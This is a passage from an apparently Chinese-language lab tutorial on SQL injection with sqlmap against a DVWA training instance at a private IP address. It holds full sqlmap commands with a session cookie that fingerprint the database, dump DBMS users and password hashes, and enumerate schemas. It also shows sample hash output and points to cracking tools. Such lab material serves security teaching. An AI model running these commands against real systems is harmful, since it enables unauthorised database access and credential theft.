“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用选项:
1、–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
2、-u : 指定目标URL
3、-b : 获取DBMS banner
4、–current-db : 获取当前数据库
5、–current-user:获取当前用户
结果如下:

可以看到结果如下:
DBMS : MySQLversion 5.0 OS versionUbuntu 12.04 current user:root current db :DVWA
以下命令用来枚举所有的DBMS用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”
使用选项:
1、–string : 当查询可用时用来匹配页面中的字符串
2、–users : 枚举DBMS用户
3、–password : 枚举DBMS用户密码hash

结果如下:
databasemanagement system users [142]: [*] ”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
数据库管理系统用户和密码hash:
[*]debian-sys-maint [1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] phpmyadmin[1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] root [4]: password hash: *C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
读者可以使用Cain&Abel、John&Ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”










